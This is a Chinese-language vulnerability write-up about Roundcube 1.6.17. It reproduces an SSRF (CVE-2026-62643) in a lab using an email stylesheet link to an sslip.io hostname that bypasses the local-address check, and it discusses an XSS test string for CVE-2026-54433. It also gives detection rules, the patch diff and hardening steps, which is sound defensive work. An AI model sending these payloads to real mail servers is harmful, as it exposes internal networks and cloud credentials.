你打开一封邮件。在阅读的同时,你的邮件服务器已经开始敲击一个你从未给过它的内部地址——因为邮件要求它这样做。这不是思想实验。我已在实验环境中完整复现了该攻击,并捕获到了请求日志。
阅读邮件早已不再是被动的行为。客户端解析 MIME、将文本渲染为 HTML、加载样式、展示附件、把地址和链接转为可点击形式。这些步骤中的每一步,都是在运行陌生人发送过来的数据。而一旦其中某一步对这些数据过于信任,邮件就会做出你未曾要求的事情。
2026 年 7 月,Roundcube 发布了 1.6.17 版本。这不是一次小补丁,而是一整套修复。其中两个漏洞位于严重性最高级别:NIST 将两者评定为满分 10.0,而 MITRE 对 SSRF 的评分较为谨慎,给出 7.2。其中一个漏洞允许邮件让邮件服务器自行访问内部网络。我在隔离的实验环境中搭建了受影响版本,并完整复现了攻击流程,直到捕获到服务器自身发起请求的日志行。我也会坦诚说明公开数据能覆盖到什么程度,以及为什么第二个 10.0 分的漏洞无法通过公开信息复现。
前言:我并未在生产环境运行 Roundcube,本文也不是在指责它是一款糟糕的软件。我从事服务器安全工作,这里吸引我的是一个反复出现的模式:渲染外部发送内容的软件,其攻击面恰恰出现在它试图提供便利的地方。Roundcube 是一个清晰的例子,因为这些漏洞存在于功能本身:样式加载、地址链接化、附件解析。
一封邮件如何让服务器遍历网络:CVE-2026-62643(CVSS 10.0)
我先从已成功复现的漏洞开始。
当 Roundcube 展示 HTML 邮件时,它不会直接将样式原样交给浏览器。它会先将外部样式拉取到自己的服务器,经过清理器处理后再传递给浏览器。初衷合理:先清理 CSS 中的危险结构,再交给用户。问题在于执行拉取操作的是服务器本身。
下面是做出该决策的代码片段(program/actions/mail/index.php):
if ($tag == 'link' && preg_match('/^https?:\/\//i', $attrib['href'])
&& !rcube_utils::is_local_url($attrib['href'])) {
// rewrite the stylesheet link to the internal modcss handler,
// which will fetch the URL ITSELF and return sanitized CSS
$_SESSION['modcssurls'][$tempurl] = $attrib['href'];
...
}
Enter fullscreen mode Exit fullscreen mode
因此,携带 <link rel="stylesheet" href="..."> 的邮件会让服务器访问该地址。阻止它访问内部网络的唯一屏障是 is_local_url 检查。整个 SSRF 防御都依赖于这个函数。下面来看它在 1.6.16 版本中的实现。
public static function is_local_url($url)
{
$host = parse_url($url, \PHP_URL_HOST);
...
$host = preg_replace('/^::ffff:/i', '', $host);
if (preg_match('/([0-9a-f.-]+)\.nip\.io$/i', $host, $matches)) {
$host = trim($matches[1], '-.');
}
if ($address = Factory::parseAddressString($host, $options)) {
$nets = [
'0.0.0.0', '127.0.0.0/8', '10.0.0.0/8', '172.16.0.0/12',
'192.168.0.0/16', '169.254.0.0/16', '::1/128', 'fc00::/7',
];
foreach ($nets as $net) {
$range = Factory::parseRangeString($net);
if ($range->contains($address)) {
return true; // local, block it
}
}
return false;
}
...
}
Enter fullscreen mode Exit fullscreen mode
直接的私有地址被诚实地覆盖了:所有 RFC1918 地址、回环地址、链路本地地址(包括云元数据地址 169.254)。你不能写入 href="http://127.0.0.1" 或 http://169.254.169.254,它们会被拦截。
但请注意 nip.io 那行。开发者已经知道存在一些 DNS 服务,能将类似 10.0.0.1.nip.io 的域名解析为 IP 10.0.0.1。这类服务可以将私有地址隐藏在公开域名之后:is_local_url 看到的是域名而非 IP,因此放行。随后 nip.io 会被还原为地址后再进行检查。这样做是合理的。
然而 nip.io 并不是唯一的选择。还有 sslip.io,它做着完全相同的事,但在 1.6.16 版本中并未被包含在那行代码里。这意味着 172.30.0.3.sslip.io 对该函数来说只是一个外部域名。它不会解包,parseAddressString 无法从域名中提取 IP,范围检查不会触发,函数返回 false——不是本地地址,允许通过。
实验环境
一切运行在一个由三个容器组成的隔离网络中,邮箱均为虚拟。受害者使用 Roundcube 1.6.16(修复前的最后一个版本),邮件服务器为 GreenMail,攻击者容器运行普通的 python -m http.server,在网络内可见的地址为 172.30.0.3。
services:
roundcube:
image: roundcube/roundcubemail:1.6.16-apache
environment:
ROUNDCUBEMAIL_DEFAULT_HOST: greenmail
ROUNDCUBEMAIL_SMTP_SERVER: greenmail
ports: ["127.0.0.1:8091:80"]
greenmail:
image: greenmail/standalone:latest
environment:
GREENMAIL_OPTS: "-Dgreenmail.setup.test.all [email protected]:victimpass,[email protected]:attackerpass"
attacker:
image: python:3.12-alpine
command: python -m http.server 8000
Enter fullscreen mode Exit fullscreen mode
我在容器内直接确认了版本,而不是猜测:
$ docker exec rc-victim head -3 /var/www/html/CHANGELOG.md
# Changelog Roundcube Webmail
## Release 1.6.16
Enter fullscreen mode Exit fullscreen mode
攻击流程
我向受害者发送了一封邮件,头部仅有一行。所选主机名可绕过 is_local_url:公共 DNS 会将 172.30.0.3.sslip.io 解析回私有地址 172.30.0.3,我的监听器正位于此。
html = (
'<html><head>'
'<link rel="stylesheet" href="http://172.30.0.3.sslip.io:8000/ssrf-proof.css">'
'</head><body><p>Styled newsletter.</p></body></html>'
)
Enter fullscreen mode Exit fullscreen mode
我以受害者身份登录 Webmail 并打开邮件。默认情况下 Roundcube 会阻止外部内容并显示一个允许按钮,因此这不是零点击攻击,而是需要用户点击一次。我允许外部内容(在实验环境中我执行了按钮背后的同一命令)。随后查看监听器日志:
172.30.0.4 - - [21/Jul/2026 18:13:38] "GET /ssrf-proof.css HTTP/1.1" 404
Enter fullscreen mode Exit fullscreen mode
请求到达了,且来自 172.30.0.4。这不是受害者的浏览器。浏览器甚至不会从外部看到 172.30.0.3.sslip.io 这个名称。172.30.0.4 是 Roundcube 容器本身,我通过 hostname -i 确认过。因此,服务器在邮件的指令下访问了我指定的内部地址。404 并不重要,重要的是请求确实发生了。这就是 SSRF:我无法访问服务器的内部网络,但通过一封邮件,我让服务器为我访问了那里。
在真实服务器上,我的空监听器可能是一个内部服务、相邻容器、无法从外部访问的管理面板,或是内部端口上的数据库。尤其危险的是云元数据端点 169.254.169.254:一旦服务器发出这样的请求,就会将整个云账号的临时密钥泄露出去。此版本已将 169.254 纳入拦截列表,但这类攻击的本质正是如此,过滤器中的任何疏漏都会重新打开通向凭证的道路。攻击者将邮件服务器变成了通往内部网络的代理。
如何在日志中捕获
Webmail 中的 SSRF 有一个便利之处:它会留下明显痕迹——Web 服务器进程本身向它本不该访问的地址发出了出站 HTTP 连接。不是客户端,不是浏览器,而是你的 Roundcube 的 php-fpm 或 apache 突然开始发起连接。
告警规则很简单:凡是来自 Web 服务器 UID 的出站连接,且目标地址不在允许列表(你的 SMTP、IMAP、更新服务器)中,就视为安全事件。在实验环境中,捕获到的是来自 172.30.0.4(即 Roundcube 自身 IP)的日志行。在生产环境中,同样的模式可通过出口过滤器或反向代理日志捕获:一个本应只接收请求的服务突然开始主动发起请求。
修复
一行补丁。DNS 服务的解包逻辑现在覆盖了更多服务,而不仅仅是 nip.io:
- if (preg_match('/([0-9a-f.-]+)\.nip\.io$/i', $host, $matches)) {
+ if (preg_match('/([0-9a-f.-]+)\.(nip|sslip)\.io$/i', $host, $matches)) {
Enter fullscreen mode Exit fullscreen mode
我将镜像更新至 1.6.17,重建容器,并用同一邮箱重放了完全相同的邮件。确认补丁已生效:
$ docker exec rc-victim grep -n "sslip" .../rcube_utils.php
447: if (preg_match('/([0-9a-f.-]+)\.(nip|sslip)\.io$/i', $host, $matches)) {
Enter fullscreen mode Exit fullscreen mode
我打开邮件并允许外部内容。此后监听器日志未再变化,仍保留 1.6.16 版本时的单次请求。没有新的命中。现在 is_local_url 会将 172.30.0.3.sslip.io 解包为 172.30.0.3,发现它落在 172.16.0.0/12 范围内,于是返回 true。服务器不再发起请求。漏洞已修复。
此次修复同时收紧了 IPv6 绕过方式:preg_replace('/^::ffff:/i', ...) 改为 /^[0:]*:ffff:/i,因此 0:0:0:0:0:ffff:127.0.0.1 之类的记录现在也能被捕获。
第二个 10.0 分漏洞:无法通过公开数据触发(CVE-2026-54433)
这一部分我会坦诚说明。对于第二个漏洞,我没有可工作的利用代码,我会解释原因,因为分析过程本身比最终结果更有价值。
CVE-2026-54433 按描述是一种零点击存储型 XSS,存在于纯文本邮件的渲染过程中。这听起来很惊人:即使是纯文本(按定义不含 HTML),在打开时也能执行他人的 JavaScript。根源在于链接化处理。当 Roundcube 展示文本邮件时,它会查找其中的邮箱地址和链接,并将它们包装成可点击标签。生成 HTML 的这一步正是漏洞所在。
我查看了修复提交。它只有一个改动,修改了 rcube_string_replacer.php 中 mail 链接查询部分的正则表达式:
- . "(\?[$url1$url2]+)?" // before: allowed set of characters after ?
+ . '(\?[^<>\s]+)?' // after: forbid < > and whitespace
Enter fullscreen mode Exit fullscreen mode
要点很清楚:之前 mailto 链接的尾部允许使用可用于跳出标记的字符,修复后则禁止使用尖括号和空白字符。提交中附带了一个恶意输入的测试用例:
[email protected]?]<img/src="x"/onerror=alert(document.domain)>
Enter fullscreen mode Exit fullscreen mode
我在 1.6.16 版本的浏览器中运行该输入,得到了安全的 HTML 返回:
<a href="mailto:[email protected]?">[email protected]?</a>]<img/src="x"/onerror=alert(document.domain)>
Enter fullscreen mode Exit fullscreen mode
也就是说,<img> 被转义为实体,即使在受影响版本上脚本也不会执行。我深入研究了原因。链接不仅由正则表达式处理,还由 parse_url_brackets 函数处理,该函数会仔细剥离地址中不成对的括号,包括 ]。结果 ] 进入了尾部,而 <img> 落入了普通文本中,随后被转义。提交中的测试输入展示了修复的边界,但它本身并不是一个可工作的利用。
这是正常情况。附加到修复的公开测试很少与真实世界的有效载荷匹配。实际的利用向量由发现该漏洞的研究者持有(致谢中提及 Samsung R&D Institute Ukraine 的 Bohdan Kurinnoy),且在补丁广泛部署前不会公开,以免过早武装攻击者。你可以从一行 diff 中构建一个可工作的利用,但这需要对链接化器进行单独、细致的工作,我不会将猜测当作复现。可以肯定的是:纯文本链接化器中的漏洞是真实的,其类型为 XSS,已通过收紧字符集的方式修复。不能肯定的是:公告中的这一特定行本身就能攻击任何人。
这不是一个漏洞,而是一整类问题
纵观 1.6.17 版本可以清楚地看到,他们并非在修复一个随机拼写错误,而是在逐一检查邮件客户端的攻击面。
- CVE-2026-54432,另一个存储型 XSS,但这次通过附件的 MIME 类型。在附件验证警告页面中,类型未进行转义。
- 密码插件中通过会话注入用户名导致的漏洞。
- 除本文所述 sslip.io 外,还有两个通过特定本地地址实现的 SSRF 绕过。
- TNEF 解码器中的两个拒绝服务漏洞(即 Outlook 的 winmail.dat):一个无限循环和一个通过压缩 RTF 中构造的大小导致的崩溃。
不同模块、不同漏洞类型,但根源相同。客户端解析并渲染来自邮件的数据:文本、样式、附件、专有 Microsoft 格式。每个解析器都信任他人的输入。邮件客户端越丰富,其中就有越多地方让陌生人的邮件获得超出预期的控制权。样式带来了 SSRF,链接化器带来了 XSS,TNEF 解码器带来了 DoS。
如果你正在运行 Roundcube,请立即检查
- 版本。1.6.17 或更新版本(1.7 分支为 1.7.2)。所有列出的漏洞均已在这些版本中修复。
- 外部内容。默认保持外部资源阻止功能开启。这不仅关乎隐私,也能防止 SSRF 在无需用户操作的情况下触发。
- 网络隔离。邮件前端不应与内部服务和云元数据端点处于同一扁平网络。限制 Web 服务器本身的出站连接,而不仅仅是入站连接。
- 插件。如果你使用密码更改插件,请更新它,它也有自己的漏洞。
- 监控。来自 Webmail 进程的、指向非预期地址的出站 HTTP 请求是一个信号。在实验环境中,SSRF 表现为服务器自身 IP 向不应访问的地方发起请求。
从中可得出的结论
一行正则表达式中遗漏了第二个 DNS 服务,一封邮件就能驱动你的服务器在内部网络中游走。另一行中字符集限制不够严格,一封纯文本邮件就能触发 XSS。这与 Roundcube 无关。任何渲染你收到的内容的软件默认都会信任这些内容,而安全工作就是逐一撤销这些信任的长长清单。在便利功能和漏洞之间,有时仅差过滤器中遗漏的一个案例。在这里,这些案例累积成了一个完整的版本。
实验环境搭建于隔离网络,所有地址和邮箱均为虚拟。材料仅用于保护你自己的系统。
0 Comments
Log in to join the conversation.No comments yet. Be the first to share your thoughts.